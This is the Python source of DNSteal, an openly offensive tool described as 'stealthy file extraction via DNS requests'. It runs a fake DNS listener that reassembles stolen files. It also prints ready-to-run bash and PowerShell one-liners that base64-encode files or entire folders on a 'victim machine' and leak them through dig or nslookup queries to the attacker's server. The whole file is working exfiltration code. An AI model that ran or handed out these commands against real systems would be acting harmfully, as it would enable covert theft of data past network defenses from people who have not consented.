#!/usr/bin/env python # g0dmode ######################## # # TODO (in order of priority): # # * Windows PowerShell command variant (This will be 2.1 coming soon). # * fix bugs when no filename is entered (i know it exists just cba atm) # import socket import sys import binascii import time import hashlib import zlib import re import base64 c = { "r" : "\033[1;31m", "g": "\033[1;32m", "y" : "\033[1;33m", "b" : "\033[1;34m", "e" : "\033[0m" } VERSION = "2.0" class DNSQuery: def __init__(self, data): self.data = data self.data_text = '' tipo = (ord(data[2]) >> 3) & 15 # Opcode bits if tipo == 0: # Standard query ini=12 lon=ord(data[ini]) while lon != 0: self.data_text += data[ini+1:ini+lon+1]+'.' ini += lon+1 lon=ord(data[ini]) def request(self, ip): packet='' if self.data_text: packet+=self.data[:2] + "\x81\x80" packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Questions and Answers Counts packet+=self.data[12:] # Original Domain Name Question packet+='\xc0\x0c' # Pointer to domain name packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Response type, ttl and resource data length -> 4 bytes packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # 4bytes of IP return packet def save_to_file(r_data, z, v): print "\n" for key,value in r_data.iteritems(): file_seed = time.strftime("%Y-%m-%d_%H-%M-%S") fname = "recieved_%s_%s" % (file_seed, key) flatdata = "" for block in value: flatdata += block[:-1].replace("*", "+") # fix data (remove hyphens at end, replace * with + because of dig!) # print flatdata try: f = open(fname, "wb") except: print "%s[Error]%s Opening file '%s' to save data." % (c["r"], c["e"], fname) exit(1) try: if v: print "%s[Info]%s base64 decoding data (%s)." % (c["y"], c["e"], key) flatdata = base64.b64decode(flatdata) # test if padding correct by using a try/catch except: f.close() print "%s[Error]%s Incorrect padding on base64 encoded data.." % (c["r"], c["e"]) exit(1) if (z): if v: print "%s[Info]%s Unzipping data (%s)." % (c["y"], c["e"], key) try: x = zlib.decompressobj(16+zlib.MAX_WBITS) flatdata = x.decompress(flatdata) except: print "%s[Error]%s Could not unzip data, did you specify the -z switch ?" % (c["r"], c["e"]) exit(1) print "%s[Info]%s Saving recieved bytes to './%s'" % (c["y"], c["e"], fname) f.write(flatdata) f.close() else: print "%s[Info]%s Saving bytes to './%s'" % (c["y"], c["e"], fname) f.write(flatdata) f.close() print "%s[md5sum]%s '%s'\n" % (c["g"], c["e"], hashlib.md5(open(fname, "r").read()).hexdigest()) def usage(str=""): banner() print "Usage: python %s [listen_address] [options]" % sys.argv[0] print "\nOptions:" print "\t-z\tUnzip incoming files." print "\t-v\tVerbose output." print "\t-h\tThis help menu" print print "Advanced:" print "\t-b\tBytes to send per subdomain (default = 57, max=63)" print "\t-s\tNumber of data subdomains per request (default = 4, ie. $data.$data.$data.$data.$filename)" print "\t-f\tLength reserved for filename per request (default = 17)" print print "%s$ python %s -z 127.0.0.1%s" % (c["g"], sys.argv[0], c["e"]) print print "%s-------- Do not change the parameters unless you understand! --------%s" % (c["r"], c["e"]) print print "The query length cannot exceed 253 bytes. This is including the filename." print "The subdomains lengths cannot exceed 63 bytes." print print "Advanced: " print "\t%s 127.0.0.1 -z -s 4 -b 57 -f 17\t4 subdomains, 57 bytes => (57 * 4 = 232 bytes) + (4 * '.' = 236). Filename => 17 byte(s)" % sys.argv[0] print "\t%s 127.0.0.1 -z -s 4 -b 55 -f 29\t4 subdomains, 55 bytes => (55 * 4 = 220 bytes) + (4 * '.' = 224). Filename => 29 byte(s)" % sys.argv[0] print "\t%s 127.0.0.1 -z -s 4 -b 63 -f 1\t4 subdomains, 63 bytes => (62 * 4 = 248 bytes) + (4 * '.' = 252). Filename => 1 byte(s)" % sys.argv[0] print print str def p_cmds(s,b,ip,z): print "%s[+]%s On the victim machine, use any of the following commands:" % (c["g"], c["e"]) print "%s[+]%s Remember to set %sfilename%s for individual file transfer." % (c["g"], c["e"], c["y"], c["e"]) print if (z): print "%s[?]%s Copy individual file (ZIP enabled)" % (c["y"], c["e"]) print """\t%s\x23%s %sf=file.txt%s; s=%s;b=%s;c=0; for r in $(for i in $(gzip -c $f| base64 -w0 | sed "s/.\{$b\}/&\\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\\n$i-."; c=1; fi; done ); do dig @%s `echo -ne $r$f|tr "+" "*"` +short; done """ % (c["r"], c["e"], c["y"], c["e"], s, b, ip ) print print "%s[?]%s Copy entire folder (ZIP enabled)" % (c["y"], c["e"]) print """\t%s\x23%s for f in $(ls .); do s=%s;b=%s;c=0; for r in $(for i in $(gzip -c $f| base64 -w0 | sed "s/.\{$b\}/&\\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\\n$i-."; c=1; fi; done ); do dig @%s `echo -ne $r$f|tr "+" "*"` +short; done ; done""" % (c["r"], c["e"], s, b, ip ) print else: print "%s[?]%s Copy individual file" % (c["y"], c["e"]) print """\t%s\x23%s %sf=file.txt%s; s=%s;b=%s;c=0; for r in $(for i in $(base64 -w0 $f| sed "s/.\{$b\}/&\\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\\n$i-."; c=1; fi; done ); do dig @%s `echo -ne $r$f|tr "+" "*"` +short; done """ % (c["r"], c["e"], c["y"], c["e"], s, b, ip ) print print "%s[?]%s Copy entire folder" % (c["y"], c["e"]) print """\t%s\x23%s for f in $(ls .); do s=%s;b=%s;c=0; for r in $(for i in $(base64 -w0 $f | sed "s/.\{$b\}/&\\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\\n$i-."; c=1; fi; done ); do dig @%s `echo -ne $r$f|tr "+" "*"` +short; done ; done""" % (c["r"], c["e"], s, b, ip ) print print "%s[?]%s Copy entire folder in PowerShell" % (c["y"], c["e"]) print """\t%s\x23%s $d="%s"; $s=%s; $b=%s; Get-ChildItem "." | Foreach-Object {$a=$_.Name; $z = [System.IO.File]::ReadAllBytes($_.FullName); $e = [System.Convert]::ToBase64String($z); $l=$e.Length; $r=""; $n=0; while ($n -le ($l/$b)) { $c=$b; if (($n*$b)+$c -gt $l) { $c=$l-($n*$b) }; $r+=$e.Substring($n*$b, $c) + "-."; if (($n%%$s) -eq ($s-1)) { nslookup -type=A $r$a. $d; $r="" } $n=$n+1 } nslookup -type=A $r$a. $d }""" % (c["r"], c["e"], ip, s, b ) print def banner(): print "\033[1;32m", print """ ___ _ _ ___ _ _ | \| \| / __| |_ ___ __ _| | | |) | .` \__ \ _/ -_) _` | | |___/|_|\_|___/\__\___\__,_|_|v%s -- https://github.com/m57/dnsteal.git --\033[0m Stealthy file extraction via DNS requests """ % VERSION if __name__ == '__main__': ########################### z = False s = 4 b = 57 flen = 17 v = False regx_ip = "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$"; if "-h" in sys.argv or len(sys.argv) < 2: usage() exit(1) ip = sys.argv[1] if re.match(regx_ip, ip) == None: usage("%s[Error]%s First argument must be listen address." % (c["r"], c["e"])) exit(1) if "-z" in sys.argv: z = True if "-s" in sys.argv: s = int(sys.argv[sys.argv.index("-s")+1]) if "-b" in sys.argv: b = int(sys.argv[sys.argv.index("-b")+1]) if "-f" in sys.argv: flen = int(sys.argv[sys.argv.index("-f")+1]) if "-v" in sys.argv: v = True if ( (b > 63) or ((b * s) > 253) or (((b * s) + flen) > 253)): usage("%s[Error]%s Entire query cannot be > 253. Read help (-h)" % (c["r"], c["e"])) ############################################################################################ banner() udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: udp.bind((ip,53)) except: print "%s[Error]%s Cannot bind to address %s:53" % (c["r"], c["e"], ip) exit(1) print "%s[+]%s DNS listening on '%s:53'" % (c["g"], c["e"], ip) p_cmds(s,b,ip,z) print "%s[+]%s Once files have sent, use Ctrl+C to exit and save.\n" % (c["g"], c["e"]) try: r_data = {} while 1: # There is a bottle neck in this function, if very slow PC, will take # slightly longer to send as this main loop recieves the data from victim. data, addr = udp.recvfrom(1024) p=DNSQuery(data) udp.sendto(p.request(ip), addr) req_split = p.data_text.split(".") req_split.pop() # fix trailing dot... cba to fix this dlen = len(req_split) fname = "" tmp_data = [] for n in range(0,dlen): if req_split[n][len(req_split[n])-1] == "-": tmp_data.append(req_split[n]) else: # Filename fname += req_split[n] + "." fname = fname[:-1] if fname not in r_data: r_data[fname] = [] print "%s[>]%s len: '%d bytes'\t- %s" % (c["y"], c["e"], len(p.data_text), fname) if v: print '%s[>>]%s %s -> %s:53' % (c["b"], c["e"], p.data_text, ip) for d in tmp_data: r_data[fname].append(d) # print r_data except KeyboardInterrupt: # exit(1) save_to_file(r_data, z, v) print '\n\033[1;31m[!]\033[0m Closing...' udp.close()